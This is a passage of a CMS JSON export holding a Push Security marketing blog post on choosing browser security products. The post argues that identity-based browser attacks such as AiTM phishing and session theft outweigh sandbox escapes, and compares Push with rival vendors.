evidence, all from a single extension.",{"data":24995,"content":24996,"nodeType":866},{},[24997],{"data":24998,"marks":24999,"value":25000,"nodeType":865},{},[],"The critical difference is that Push goes significantly further. Where LayerX scores risk and enforces policy, Push detects active external attack techniques in real time: AiTM phishing kits as they execute, session tokens being stolen, ClickFix lures through behavioral analysis of page structure. These are the attacks causing the most damaging breaches today, and they don't surface on a risk score until after the damage is done. Push addresses both the governance problem and the external threat problem from the same platform. LayerX addresses only the first.",{"data":25002,"content":25003,"nodeType":972},{},[],{"data":25005,"content":25006,"nodeType":981},{},[25007],{"data":25008,"marks":25009,"value":25011,"nodeType":865},{},[25010],{"type":926},"Securing the organization via the browser: Push Security",{"data":25013,"content":25014,"nodeType":866},{},[25015,25020],{"data":25016,"marks":25017,"value":25019,"nodeType":865},{},[25018],{"type":926},"Push Security is built on a different architectural premise:",{"data":25021,"marks":25022,"value":25023,"nodeType":865},{},[]," the browser is not primarily a piece of software to harden against exploitation. It is the primary workplace, the primary SaaS access point, and the arena where the majority of modern identity attacks play out. The goal is to secure the organization via the browser — not just to secure the browser itself.",{"data":25025,"content":25026,"nodeType":866},{},[25027],{"data":25028,"marks":25029,"value":25030,"nodeType":865},{},[],"This means Push's detection surface is built around the attacks that are actually causing breaches: adversary-in-the-middle phishing, ClickFix and its many variants, credential stuffing against shadow identities, session token theft and replay, OAuth consent abuse, and the full spectrum of identity-based initial access techniques that dominate the modern threat landscape.",{"data":25032,"content":25033,"nodeType":866},{},[25034],{"data":25035,"marks":25036,"value":25037,"nodeType":865},{},[],"The deployment model reflects the threat model. Push deploys as a lightweight browser extension — no kernel-level agent, no device dependency, no migration to a new browser. It works on managed and unmanaged devices, across every traditional, enterprise and AI browser where employees are doing work and attackers are targeting them. The operational overhead is minimal by design: Push has been deployed to 100,000 users in under one hour during normal business hours.",{"data":25039,"content":25040,"nodeType":1317},{},[25041],{"data":25042,"marks":25043,"value":25045,"nodeType":865},{},[25044],{"type":926},"Detection philosophy: targeting what attackers can't change",{"data":25047,"content":25048,"nodeType":866},{},[25049],{"data":25050,"marks":25051,"value":25052,"nodeType":865},{},[],"Push's detection approach targets attacker TTPs rather than indicators of compromise that attackers can rotate in minutes. 95% of attacks detected by Push used some form of bot protection service — meaning the specific domain and IP were deliberately obscured. If your primary detection relies on blocklists, recent reports tell us that 89% of phishing domains will evade you: because they're active for less than two days, they can be spun up, down, and replaced faster than blocklists can keep up.",{"data":25054,"content":25055,"nodeType":866},{},[25056],{"data":25057,"marks":25058,"value":25059,"nodeType":865},{},[],"Behavioral detection of the attack technique — the AiTM relay structure, the credential entry on a cloned login page, the anomalous session context — remains valid regardless of what domain the attack is hosted on or which PhaaS kit was used to build it.",{"data":25061,"content":25062,"nodeType":1317},{},[25063],{"data":25064,"marks":25065,"value":25067,"nodeType":865},{},[25066],{"type":926},"Measuring the identity attack surface (it's bigger than you realize)",{"data":25069,"content":25070,"nodeType":866},{},[25071],{"data":25072,"marks":25073,"value":25074,"nodeType":865},{},[],"Because Push has visibility into actual login behavior across thousands of organizations, it can quantify the attack surface that identity-based attacks exploit. Of the last million logins observed by Push:",{"data":25076,"content":25077,"nodeType":1616},{},[25078,25093,25108,25123],{"data":25079,"content":25080,"nodeType":1570},{},[25081],{"data":25082,"content":25083,"nodeType":866},{},[25084,25089],{"data":25085,"marks":25086,"value":25088,"nodeType":865},{},[25087],{"type":926},"15 corporate identities were identified per employee",{"data":25090,"marks":25091,"value":25092,"nodeType":865},{},[]," used to access cloud apps",{"data":25094,"content":25095,"nodeType":1570},{},[25096],{"data":25097,"content":25098,"nodeType":866},{},[25099,25104],{"data":25100,"marks":25101,"value":25103,"nodeType":865},{},[25102],{"type":926},"1 in 4",{"data":25105,"marks":25106,"value":25107,"nodeType":865},{},[]," were password logins, not SSO",{"data":25109,"content":25110,"nodeType":1570},{},[25111],{"data":25112,"content":25113,"nodeType":866},{},[25114,25119],{"data":25115,"marks":25116,"value":25118,"nodeType":865},{},[25117],{"type":926},"2 in 5",{"data":25120,"marks":25121,"value":25122,"nodeType":865},{},[]," were not protected by MFA",{"data":25124,"content":25125,"nodeType":1570},{},[25126],{"data":25127,"content":25128,"nodeType":866},{},[25129,25134],{"data":25130,"marks":25131,"value":25133,"nodeType":865},{},[25132],{"type":926},"1 in 5",{"data":25135,"marks":25136,"value":25137,"nodeType":865},{},[]," used a weak, breached, or reused password",{"data":25139,"content":25140,"nodeType":866},{},[25141,25145,25150],{"data":25142,"marks":25143,"value":25144,"nodeType":865},{},[],"And it's not just login hygiene. Across Push's customer base, ",{"data":25146,"marks":25147,"value":25149,"nodeType":865},{},[25148],{"type":926},"46%+ of browser extensions in corporate environments have the permission combinations required for direct account takeover via session theft if they are malicious or compromised by an attacker",{"data":25151,"marks":25152,"value":25153,"nodeType":865},{},[],". Most organizations have no inventory of what's running in their employees' browsers, let alone visibility into what those extensions can access.",{"data":25155,"content":25156,"nodeType":866},{},[25157,25161,25168],{"data":25158,"marks":25159,"value":25160,"nodeType":865},{},[],"These aren't theoretical vulnerabilities. They're the specific weaknesses that browser-native identity attacks are designed to exploit. ",{"data":25162,"content":25163,"nodeType":889},{"uri":1902},[25164],{"data":25165,"marks":25166,"value":25167,"nodeType":865},{},[],"This visibility turns browser security from a reactive posture into a proactive one",{"data":25169,"marks":25170,"value":25171,"nodeType":865},{},[]," — you can see and remediate the identity weaknesses before an attacker exploits them, not just detect the attack while it's in progress.",{"data":25173,"content":25174,"nodeType":1317},{},[25175],{"data":25176,"marks":25177,"value":25179,"nodeType":865},{},[25178],{"type":926},"The ROI case",{"data":25181,"content":25182,"nodeType":866},{},[25183],{"data":25184,"marks":25185,"value":25186,"nodeType":865},{},[],"The ROI question for any security investment is: what quantum of real risk does this tool address, at what cost in money and operational friction?",{"data":25188,"content":25189,"nodeType":866},{},[25190],{"data":25191,"marks":25192,"value":25194,"nodeType":865},{},[25193],{"type":926},"That calculation looks very different depending on your threat model.",{"data":25196,"content":25197,"nodeType":866},{},[25198],{"data":25199,"marks":25200,"value":25201,"nodeType":865},{},[],"A solution focused on browser engine exploits and sandbox escapes is defending against an attack category that represents a tiny fraction of actual enterprise breaches, requires extraordinary attacker resources to execute, and is increasingly mitigated by browser vendors themselves through hardening and rapid patching. Chrome's automatic update cycle means that even when a browser vulnerability is discovered and disclosed, it is typically in front of users as a patch within days. The defenders here are Google, Mozilla, and Microsoft — with multi-billion dollar security teams and full access to the browser internals.",{"data":25203,"content":25204,"nodeType":866},{},[25205],{"data":25206,"marks":25207,"value":25208,"nodeType":865},{},[],"A solution focused on identity attacks via the browser — phishing, credential theft, session hijacking, OAuth abuse, malicious browser extensions — is defending against the primary cause of enterprise breaches, one that is accelerating (cloud-conscious intrusions up 37% in 2025, browser-based attacks increasing at 68% of organizations over the past two years per Omdia) and increasingly automated through PhaaS infrastructure that gives low-skill attackers enterprise-grade capability for $1,000 a year.",{"data":25210,"content":25211,"nodeType":866},{},[25212],{"data":25213,"marks":25214,"value":25215,"nodeType":865},{},[],"There's also a forward-looking dimension. The threat landscape isn't moving toward more browser exploitation. It's moving further into identity abuse. AI-powered phishing lowers the social engineering barrier. Agentic browsers will automate credential stuffing and account takeover at a scale that wasn't previously possible. And attackers are already adapting to authentication improvements: device code phishing has increased 37x since the start of 2026, a technique specifically designed to circumvent passkeys by bypassing the authentication flow entirely — the attacker never encounters a login page. The investment in identity-centric browser detection compounds over time as the attack surface evolves in the same direction.",{"data":25217,"content":25221,"nodeType":912},{"target":25218},{"sys":25219},{"id":25220,"type":909,"linkType":910},"cQ6WPV2NMYvDMZXifqzK1",[],{"data":25223,"content":25224,"nodeType":1317},{},[25225],{"data":25226,"marks":25227,"value":25229,"nodeType":865},{},[25228],{"type":926},"The verdict",{"data":25231,"content":25232,"nodeType":866},{},[25233],{"data":25234,"marks":25235,"value":25236,"nodeType":865},{},[],"Browser security is a real and growing priority — according to Omdia Research, it is now a top-five priority for 88% of security leaders and the top priority for 26% of them. 85% expect their browser security spending to increase over the next 12–24 months. The question isn't whether to invest. It's what to invest in.",{"data":25238,"content":25239,"nodeType":866},{},[25240],{"data":25241,"marks":25242,"value":25243,"nodeType":865},{},[],"The browser is where your users work, where attackers target them, and where the identity attacks causing the majority of enterprise breaches play out. But not all browser security investments address the same problem.",{"data":25245,"content":25249,"nodeType":912},{"target":25246},{"sys":25247},{"id":25248,"type":909,"linkType":910},"4nGzT9cNG0Yid93uUCCuTt",[],{"data":25251,"content":25252,"nodeType":866},{},[25253],{"data":25254,"marks":25255,"value":25256,"nodeType":865},{},[],"Solutions like Seraphic are built to defend against a browser being exploited by an attacker trying to break out of the sandbox — an attack that represents a historic low as a share of enterprise incidents, and one that Google's own hardening and rapid patching increasingly mitigates automatically. SquareX is built around malware sandboxing — a legitimate but declining share of the initial access landscape, and a capability Zscaler's existing customers already partially have. LayerX focuses on internal governance rather than external threats.",{"data":25258,"content":25259,"nodeType":866},{},[25260],{"data":25261,"marks":25262,"value":25263,"nodeType":865},{},[],"Push Security is built to defend against the attacks that are behind the major breaches hitting the headlines: identity theft, credential abuse, session hijacking, and the full identity attack kill chain that plays out inside the browser every time an attacker logs in as your user. Every major threat intelligence report points to these as the primary breach vectors. The economics of attack choice guarantee they'll remain so.",{"data":25265,"content":25266,"nodeType":866},{},[25267],{"data":25268,"marks":25269,"value":25270,"nodeType":865},{},[],"The security team that deploys Push gets the greatest coverage of the highest-impact threats, on managed and unmanaged devices, with the lightest operational footprint. That is the browser security investment that moves the needle on real organizational risk — not the browser security investment that defends the software nobody's actually attacking.",{"data":25272,"content":25276,"nodeType":912},{"target":25273},{"sys":25274},{"id":25275,"type":909,"linkType":910},"3a2sEWgWKZulGLCFfODwk0",[],{"data":25278,"content":25279,"nodeType":866},{},[25280],{"data":25281,"marks":25282,"value":21,"nodeType":865},{},[],"How to avoid the browser security buyer's trap","Securing the browser vs. securing the organization via the browser — what's the difference?","how-to-avoid-the-browser-security-buyers-trap",{"items":25287},[25288,25290],{"sys":25289,"name":297},{"id":2310},{"sys":25291,"name":2314},{"id":2313},{"items":25293},[25294],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":25295},{"url":4618},{"__typename":1429,"sys":25297,"content":25298,"title":13335,"synopsis":13336,"hashTags":59,"publishedDate":13337,"slug":13338,"tagsCollection":26007,"authorsCollection":26013},{"id":12509},{"json":25299},{"data":25300,"content":25301,"nodeType":1382},{},[25302,25317,25332,25347,25352,25355,25362,25368,25374,25380,25386,25393,25396,25403,25409,25415,25421,25426,25433,25448,25454,25460,25473,25480,25504,25517,25523,25547,25554,25578,25584,25591,25606,25612,25618,25623,25629,25636,25651,25657,25673,25679,25682,25689,25695,25770,25776,25789,25792,25817,25832,25838,25844,25847,25854,25869,25875,25881,25896,25899,25906,25912,25942,25948,25963,25978,25983,25986,25992],{"data":25303,"content":25304,"nodeType":866},{},[25305,25308,25314],{"data":25306,"marks":25307,"value":12520,"nodeType":865},{},[],{"data":25309,"content":25310,"nodeType":889},{"uri":12523},[25311],{"data":25312,"marks":25313,"value":12528,"nodeType":865},{},[],{"data":25315,"marks":25316,"value":12532,"nodeType":865},{},[],{"data":25318,"content":25319,"nodeType":866},{},[25320,25323,25329],{"data":25321,"marks":25322,"value":12539,"nodeType":865},{},[],{"data":25324,"content":25325,"nodeType":889},{"uri":12542},[25326],{"data":25327,"marks":25328,"value":12547,"nodeType":865},{},[],{"data":25330,"marks":25331,"value":12551,"nodeType":865},{},[],{"data":25333,"content":25334,"nodeType":866},{},[25335,25338,25344],{"data":25336,"marks":25337,"value":12558,"nodeType":865},{},[],{"data":25339,"content":25340,"nodeType":889},{"uri":8393},[25341],{"data":25342,"marks":25343,"value":8396,"nodeType":865},{},[],{"data":25345,"marks":25346,"value":12568,"nodeType":865},{},[],{"data":25348,"content":25351,"nodeType":912},{"target":25349},{"sys":25350},{"id":12573,"type":909,"linkType":910},[],{"data":25353,"content":25354,"nodeType":972},{},[],{"data":25356,"content":25357,"nodeType":981},{},[25358],{"data":25359,"marks":25360,"value":12585,"nodeType":865},{},[25361],{"type":926},{"data":25363,"content":25364,"nodeType":866},{},[25365],{"data":25366,"marks":25367,"value":12592,"nodeType":865},{},[],{"data":25369,"content":25370,"nodeType":866},{},[25371],{"data":25372,"marks":25373,"value":12599,"nodeType":865},{},[],{"data":25375,"content":25376,"nodeType":866},{},[25377],{"data":25378,"marks":25379,"value":12606,"nodeType":865},{},[],{"data":25381,"content":25382,"nodeType":866},{},[25383],{"data":25384,"marks":25385,"value":12613,"nodeType":865},{},[],{"data":25387,"content":25388,"nodeType":866},{},[25389],{"data":25390,"marks":25391,"value":12621,"nodeType":865},{},[25392],{"type":926},{"data":25394,"content":25395,"nodeType":972},{},[],{"data":25397,"content":25398,"nodeType":981},{},[25399],{"data":25400,"marks":25401,"value":12632,"nodeType":865},{},[25402],{"type":926},{"data":25404,"content":25405,"nodeType":866},{},[25406],{"data":25407,"marks":25408,"value":12639,"nodeType":865},{},[],{"data":25410,"content":25411,"nodeType":866},{},[25412],{"data":25413,"marks":25414,"value":12646,"nodeType":865},{},[],{"data":25416,"content":25417,"nodeType":866},{},[25418],{"data":25419,"marks":25420,"value":12653,"nodeType":865},{},[],{"data":25422,"content":25425,"nodeType":912},{"target":25423},{"sys":25424},{"id":12658,"type":909,"linkType":910},[],{"data":25427,"content":25428,"nodeType":1317},{},[25429],{"data":25430,"marks":25431,"value":12667,"nodeType":865},{},[25432],{"type":926},{"data":25434,"content":25435,"nodeType":866},{},[25436,25439,25445],{"data":25437,"marks":25438,"value":12674,"nodeType":865},{},[],{"data":25440,"content":25441,"nodeType":889},{"uri":4813},[25442],{"data":25443,"marks":25444,"value":12681,"nodeType":865},{},[],{"data":25446,"marks":25447,"value":12685,"nodeType":865},{},[],{"data":25449,"content":25450,"nodeType":866},{},[25451],{"data":25452,"marks":25453,"value":12692,"nodeType":865},{},[],{"data":25455,"content":25456,"nodeType":866},{},[25457],{"data":25458,"marks":25459,"value":12699,"nodeType":865},{},[],{"data":25461,"content":25462,"nodeType":866},{},[25463,25466,25470],{"data":25464,"marks":25465,"value":12706,"nodeType":865},{},[],{"data":25467,"marks":25468,"value":12711,"nodeType":865},{},[25469],{"type":926},{"data":25471,"marks":25472,"value":12715,"nodeType":865},{},[],{"data":25474,"content":25475,"nodeType":1317},{},[25476],{"data":25477,"marks":25478,"value":12723,"nodeType":865},{},[25479],{"type":926},{"data":25481,"content":25482,"nodeType":866},{},[25483,25486,25492,25495,25501],{"data":25484,"marks":25485,"value":12730,"nodeType":865},{},[],{"data":25487,"content":25488,"nodeType":889},{"uri":6864},[25489],{"data":25490,"marks":25491,"value":12737,"nodeType":865},{},[],{"data":25493,"marks":25494,"value":12741,"nodeType":865},{},[],{"data":25496,"content":25497,"nodeType":889},{"uri":1929},[25498],{"data":25499,"marks":25500,"value":12748,"nodeType":865},{},[],{"data":25502,"marks":25503,"value":12752,"nodeType":865},{},[],{"data":25505,"content":25506,"nodeType":866},{},[25507,25510,25514],{"data":25508,"marks":25509,"value":12759,"nodeType":865},{},[],{"data":25511,"marks":25512,"value":12764,"nodeType":865},{},[25513],{"type":926},{"data":25515,"marks":25516,"value":12768,"nodeType":865},{},[],{"data":25518,"content":25519,"nodeType":866},{},[25520],{"data":25521,"marks":25522,"value":12775,"nodeType":865},{},[],{"data":25524,"content":25525,"nodeType":866},{},[25526,25529,25535,25538,25544],{"data":25527,"marks":25528,"value":12782,"nodeType":865},{},[],{"data":25530,"content":25531,"nodeType":889},{"uri":7712},[25532],{"data":25533,"marks":25534,"value":8158,"nodeType":865},{},[],{"data":25536,"marks":25537,"value":12792,"nodeType":865},{},[],{"data":25539,"content":25540,"nodeType":889},{"uri":7472},[25541],{"data":25542,"marks":25543,"value":7465,"nodeType":865},{},[],{"data":25545,"marks":25546,"value":12802,"nodeType":865},{},[],{"data":25548,"content":25549,"nodeType":1317},{},[25550],{"data":25551,"marks":25552,"value":12810,"nodeType":865},{},[25553],{"type":926},{"data":25555,"content":25556,"nodeType":866},{},[25557,25560,25566,25569,25575],{"data":25558,"marks":25559,"value":12817,"nodeType":865},{},[],{"data":25561,"content":25562,"nodeType":889},{"uri":12820},[25563],{"data":25564,"marks":25565,"value":12825,"nodeType":865},{},[],{"data":25567,"marks":25568,"value":12829,"nodeType":865},{},[],{"data":25570,"content":25571,"nodeType":889},{"uri":5739},[25572],{"data":25573,"marks":25574,"value":12836,"nodeType":865},{},[],{"data":25576,"marks":25577,"value":12840,"nodeType":865},{},[],{"data":25579,"content":25580,"nodeType":866},{},[25581],{"data":25582,"marks":25583,"value":12847,"nodeType":865},{},[],{"data":25585,"content":25586,"nodeType":1317},{},[25587],{"data":25588,"marks":25589,"value":12855,"nodeType":865},{},[25590],{"type":926},{"data":25592,"content":25593,"nodeType":866},{},[25594,25597,25603],{"data":25595,"marks":25596,"value":12862,"nodeType":865},{},[],{"data":25598,"content":25599,"nodeType":889},{"uri":1951},[25600],{"data":25601,"marks":25602,"value":12869,"nodeType":865},{},[],{"data":25604,"marks":25605,"value":12873,"nodeType":865},{},[],{"data":25607,"content":25608,"nodeType":866},{},[25609],{"data":25610,"marks":25611,"value":12880,"nodeType":865},{},[],{"data":25613,"content":25614,"nodeType":866},{},[25615],{"data":25616,"marks":25617,"value":12887,"nodeType":865},{},[],{"data":25619,"content":25622,"nodeType":912},{"target":25620},{"sys":25621},{"id":12892,"type":909,"linkType":910},[],{"data":25624,"content":25625,"nodeType":866},{},[25626],{"data":25627,"marks":25628,"value":12900,"nodeType":865},{},[],{"data":25630,"content":25631,"nodeType":1317},{},[25632],{"data":25633,"marks":25634,"value":12908,"nodeType":865},{},[25635],{"type":926},{"data":25637,"content":25638,"nodeType":866},{},[25639,25642,25648],{"data":25640,"marks":25641,"value":12915,"nodeType":865},{},[],{"data":25643,"content":25644,"nodeType":889},{"uri":3720},[25645],{"data":25646,"marks":25647,"value":12922,"nodeType":865},{},[],{"data":25649,"marks":25650,"value":12926,"nodeType":865},{},[],{"data":25652,"content":25653,"nodeType":866},{},[25654],{"data":25655,"marks":25656,"value":12933,"nodeType":865},{},[],{"data":25658,"content":25659,"nodeType":866},{},[25660,25663,25670],{"data":25661,"marks":25662,"value":12940,"nodeType":865},{},[],{"data":25664,"content":25665,"nodeType":889},{"uri":3720},[25666],{"data":25667,"marks":25668,"value":12948,"nodeType":865},{},[25669],{"type":943},{"data":25671,"marks":25672,"value":12952,"nodeType":865},{},[],{"data":25674,"content":25675,"nodeType":866},{},[25676],{"data":25677,"marks":25678,"value":12959,"nodeType":865},{},[],{"data":25680,"content":25681,"nodeType":972},{},[],{"data":25683,"content":25684,"nodeType":981},{},[25685],{"data":25686,"marks":25687,"value":12970,"nodeType":865},{},[25688],{"type":926},{"data":25690,"content":25691,"nodeType":866},{},[25692],{"data":25693,"marks":25694,"value":12977,"nodeType":865},{},[],{"data":25696,"content":25697,"nodeType":1616},{},[25698,25716,25734,25752],{"data":25699,"content":25700,"nodeType":1570},{},[25701],{"data":25702,"content":25703,"nodeType":866},{},[25704,25707,25713],{"data":25705,"marks":25706,"value":12990,"nodeType":865},{},[],{"data":25708,"content":25709,"nodeType":889},{"uri":4991},[25710],{"data":25711,"marks":25712,"value":8673,"nodeType":865},{},[],{"data":25714,"marks":25715,"value":13000,"nodeType":865},{},[],{"data":25717,"content":25718,"nodeType":1570},{},[25719],{"data":25720,"content":25721,"nodeType":866},{},[25722,25725,25731],{"data":25723,"marks":25724,"value":13010,"nodeType":865},{},[],{"data":25726,"content":25727,"nodeType":889},{"uri":13013},[25728],{"data":25729,"marks":25730,"value":13018,"nodeType":865},{},[],{"data":25732,"marks":25733,"value":13022,"nodeType":865},{},[],{"data":25735,"content":25736,"nodeType":1570},{},[25737],{"data":25738,"content":25739,"nodeType":866},{},[25740,25743,25749],{"data":25741,"marks":25742,"value":12990,"nodeType":865},{},[],{"data":25744,"content":25745,"nodeType":889},{"uri":7472},[25746],{"data":25747,"marks":25748,"value":13038,"nodeType":865},{},[],{"data":25750,"marks":25751,"value":13042,"nodeType":865},{},[],{"data":25753,"content":25754,"nodeType":1570},{},[25755],{"data":25756,"content":25757,"nodeType":866},{},[25758,25761,25767],{"data":25759,"marks":25760,"value":1449,"nodeType":865},{},[],{"data":25762,"content":25763,"nodeType":889},{"uri":13054},[25764],{"data":25765,"marks":25766,"value":3493,"nodeType":865},{},[],{"data":25768,"marks":25769,"value":13062,"nodeType":865},{},[],{"data":25771,"content":25772,"nodeType":866},{},[25773],{"data":25774,"marks":25775,"value":13069,"nodeType":865},{},[],{"data":25777,"content":25778,"nodeType":866},{},[25779,25782,25786],{"data":25780,"marks":25781,"value":13076,"nodeType":865},{},[],{"data":25783,"marks":25784,"value":13081,"nodeType":865},{},[25785],{"type":926},{"data":25787,"marks":25788,"value":13085,"nodeType":865},{},[],{"data":25790,"content":25791,"nodeType":972},{},[],{"data":25793,"content":25794,"nodeType":981},{},[25795,25799,25804,25808,25813],{"data":25796,"marks":25797,"value":13096,"nodeType":865},{},[25798],{"type":926},{"data":25800,"marks":25801,"value":13102,"nodeType":865},{},[25802,25803],{"type":898},{"type":926},{"data":25805,"marks":25806,"value":13107,"nodeType":865},{},[25807],{"type":926},{"data":25809,"marks":25810,"value":13113,"nodeType":865},{},[25811,25812],{"type":898},{"type":926},{"data":25814,"marks":25815,"value":13118,"nodeType":865},{},[25816],{"type":926},{"data":25818,"content":25819,"nodeType":866},{},[25820,25823,25829],{"data":25821,"marks":25822,"value":13125,"nodeType":865},{},[],{"data":25824,"content":25825,"nodeType":889},{"uri":7959},[25826],{"data":25827,"marks":25828,"value":13132,"nodeType":865},{},[],{"data":25830,"marks":25831,"value":13136,"nodeType":865},{},[],{"data":25833,"content":25834,"nodeType":866},{},[25835],{"data":25836,"marks":25837,"value":13143,"nodeType":865},{},[],{"data":25839,"content":25840,"nodeType":866},{},[25841],{"data":25842,"marks":25843,"value":13150,"nodeType":865},{},[],{"data":25845,"content":25846,"nodeType":972},{},[],{"data":25848,"content":25849,"nodeType":981},{},[25850],{"data":25851,"marks":25852,"value":13161,"nodeType":865},{},[25853],{"type":926},{"data":25855,"content":25856,"nodeType":866},{},[25857,25860,25866],{"data":25858,"marks":25859,"value":13168,"nodeType":865},{},[],{"data":25861,"content":25862,"nodeType":889},{"uri":13171},[25863],{"data":25864,"marks":25865,"value":11198,"nodeType":865},{},[],{"data":25867,"marks":25868,"value":13179,"nodeType":865},{},[],{"data":25870,"content":25871,"nodeType":866},{},[25872],{"data":25873,"marks":25874,"value":13186,"nodeType":865},{},[],{"data":25876,"content":25877,"nodeType":866},{},[25878],{"data":25879,"marks":25880,"value":13193,"nodeType":865},{},[],{"data":25882,"content":25883,"nodeType":866},{},[25884,25887,25893],{"data":25885,"marks":25886,"value":13200,"nodeType":865},{},[],{"data":25888,"content":25889,"nodeType":889},{"uri":13203},[25890],{"data":25891,"marks":25892,"value":11198,"nodeType":865},{},[],{"data":25894,"marks":25895,"value":1615,"nodeType":865},{},[],{"data":25897,"content":25898,"nodeType":972},{},[],{"data":25900,"content":25901,"nodeType":981},{},[25902],{"data":25903,"marks":25904,"value":13221,"nodeType":865},{},[25905],{"type":926},{"data":25907,"content":25908,"nodeType":866},{},[25909],{"data":25910,"marks":25911,"value":13228,"nodeType":865},{},[],{"data":25913,"content":25914,"nodeType":1616},{},[25915,25924,25933],{"data":25916,"content":25917,"nodeType":1570},{},[25918],{"data":25919,"content":25920,"nodeType":866},{},[25921],{"data":25922,"marks":25923,"value":13241,"nodeType":865},{},[],{"data":25925,"content":25926,"nodeType":1570},{},[25927],{"data":25928,"content":25929,"nodeType":866},{},[25930],{"data":25931,"marks":25932,"value":13251,"nodeType":865},{},[],{"data":25934,"content":25935,"nodeType":1570},{},[25936],{"data":25937,"content":25938,"nodeType":866},{},[25939],{"data":25940,"marks":25941,"value":13261,"nodeType":865},{},[],{"data":25943,"content":25944,"nodeType":866},{},[25945],{"data":25946,"marks":25947,"value":13268,"nodeType":865},{},[],{"data":25949,"content":25950,"nodeType":866},{},[25951,25954,25960],{"data":25952,"marks":25953,"value":13275,"nodeType":865},{},[],{"data":25955,"content":25956,"nodeType":889},{"uri":8393},[25957],{"data":25958,"marks":25959,"value":13282,"nodeType":865},{},[],{"data":25961,"marks":25962,"value":1615,"nodeType":865},{},[],{"data":25964,"content":25965,"nodeType":866},{},[25966,25969,25975],{"data":25967,"marks":25968,"value":13292,"nodeType":865},{},[],{"data":25970,"content":25971,"nodeType":889},{"uri":1419},[25972],{"data":25973,"marks":25974,"value":13299,"nodeType":865},{},[],{"data":25976,"marks":25977,"value":13303,"nodeType":865},{},[],{"data":25979,"content":25982,"nodeType":912},{"target":25980},{"sys":25981},{"id":13308,"type":909,"linkType":910},[],{"data":25984,"content":25985,"nodeType":972},{},[],{"data":25987,"content":25988,"nodeType":866},{},[25989],{"data":25990,"marks":25991,"value":13319,"nodeType":865},{},[],{"data":25993,"content":25994,"nodeType":866},{},[25995,25998,26004],{"data":25996,"marks":25997,"value":2290,"nodeType":865},{},[],{"data":25999,"content":26000,"nodeType":889},{"uri":1372},[26001],{"data":26002,"marks":26003,"value":2298,"nodeType":865},{},[],{"data":26005,"marks":26006,"value":2302,"nodeType":865},{},[],{"items":26008},[26009,26011],{"sys":26010,"name":7796},{"id":7795},{"sys":26012,"name":342},{"id":4642},{"items":26014},[26015],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":26016},{"url":7804},{"__typename":1429,"sys":26018,"content":26019,"title":4601,"synopsis":4602,"hashTags":59,"publishedDate":4603,"slug":4604,"tagsCollection":27088,"authorsCollection":27094},{"id":3365},{"json":26020},{"data":26021,"content":26022,"nodeType":1382},{},[26023,26036,26041,26047,26053,26058,26061,26068,26075,26090,26128,26133,26146,26149,26156,26163,26185,26217,26223,26226,26233,26240,26246,26251,26257,26260,26267,26274,26308,26338,26344,26347,26354,26361,26381,26387,26426,26432,26435,26442,26449,26485,26491,26496,26499,26506,26513,26539,26545,26550,26556,26559,26566,26573,26596,26602,26608,26614,26617,26624,26631,26637,26642,26648,26669,26692,26695,26702,26709,26715,26721,26724,26731,26786,26789,26796,26802,27070,27073],{"data":26024,"content":26025,"nodeType":866},{},[26026,26029,26033],{"data":26027,"marks":26028,"value":3376,"nodeType":865},{},[],{"data":26030,"marks":26031,"value":3381,"nodeType":865},{},[26032],{"type":926},{"data":26034,"marks":26035,"value":3385,"nodeType":865},{},[],{"data":26037,"content":26040,"nodeType":912},{"target":26038},{"sys":26039},{"id":3390,"type":909,"linkType":910},[],{"data":26042,"content":26043,"nodeType":866},{},[26044],{"data":26045,"marks":26046,"value":3398,"nodeType":865},{},[],{"data":26048,"content":26049,"nodeType":866},{},[26050],{"data":26051,"marks":26052,"value":3405,"nodeType":865},{},[],{"data":26054,"content":26057,"nodeType":912},{"target":26055},{"sys":26056},{"id":3410,"type":909,"linkType":910},[],{"data":26059,"content":26060,"nodeType":972},{},[],{"data":26062,"content":26063,"nodeType":981},{},[26064],{"data":26065,"marks":26066,"value":3422,"nodeType":865},{},[26067],{"type":926},{"data":26069,"content":26070,"nodeType":866},{},[26071],{"data":26072,"marks":26073,"value":3430,"nodeType":865},{},[26074],{"type":926},{"data":26076,"content":26077,"nodeType":866},{},[26078,26081,26087],{"data":26079,"marks":26080,"value":3437,"nodeType":865},{},[],{"data":26082,"content":26083,"nodeType":889},{"uri":3440},[26084],{"data":26085,"marks":26086,"value":3445,"nodeType":865},{},[],{"data":26088,"marks":26089,"value":3449,"nodeType":865},{},[],{"data":26091,"content":26092,"nodeType":866},{},[26093,26096,26102,26105,26109,26112,26116,26119,26125],{"data":26094,"marks":26095,"value":3456,"nodeType":865},{},[],{"data":26097,"content":26098,"nodeType":889},{"uri":3459},[26099],{"data":26100,"marks":26101,"value":3464,"nodeType":865},{},[],{"data":26103,"marks":26104,"value":2717,"nodeType":865},{},[],{"data":26106,"marks":26107,"value":3472,"nodeType":865},{},[26108],{"type":926},{"data":26110,"marks":26111,"value":3476,"nodeType":865},{},[],{"data":26113,"marks":26114,"value":3481,"nodeType":865},{},[26115],{"type":926},{"data":26117,"marks":26118,"value":3485,"nodeType":865},{},[],{"data":26120,"content":26121,"nodeType":889},{"uri":3488},[26122],{"data":26123,"marks":26124,"value":3493,"nodeType":865},{},[],{"data":26126,"marks":26127,"value":3497,"nodeType":865},{},[],{"data":26129,"content":26132,"nodeType":912},{"target":26130},{"sys":26131},{"id":3502,"type":909,"linkType":910},[],{"data":26134,"content":26135,"nodeType":866},{},[26136,26139,26143],{"data":26137,"marks":26138,"value":3510,"nodeType":865},{},[],{"data":26140,"marks":26141,"value":3515,"nodeType":865},{},[26142],{"type":926},{"data":26144,"marks":26145,"value":1615,"nodeType":865},{},[],{"data":26147,"content":26148,"nodeType":972},{},[],{"data":26150,"content":26151,"nodeType":981},{},[26152],{"data":26153,"marks":26154,"value":3529,"nodeType":865},{},[26155],{"type":926},{"data":26157,"content":26158,"nodeType":866},{},[26159],{"data":26160,"marks":26161,"value":3430,"nodeType":865},{},[26162],{"type":926},{"data":26164,"content":26165,"nodeType":866},{},[26166,26169,26175,26178,26182],{"data":26167,"marks":26168,"value":3543,"nodeType":865},{},[],{"data":26170,"content":26171,"nodeType":889},{"uri":3546},[26172],{"data":26173,"marks":26174,"value":3551,"nodeType":865},{},[],{"data":26176,"marks":26177,"value":3555,"nodeType":865},{},[],{"data":26179,"marks":26180,"value":3560,"nodeType":865},{},[26181],{"type":926},{"data":26183,"marks":26184,"value":3564,"nodeType":865},{},[],{"data":26186,"content":26187,"nodeType":866},{},[26188,26191,26197,26200,26204,26207,26214],{"data":26189,"marks":26190,"value":3571,"nodeTy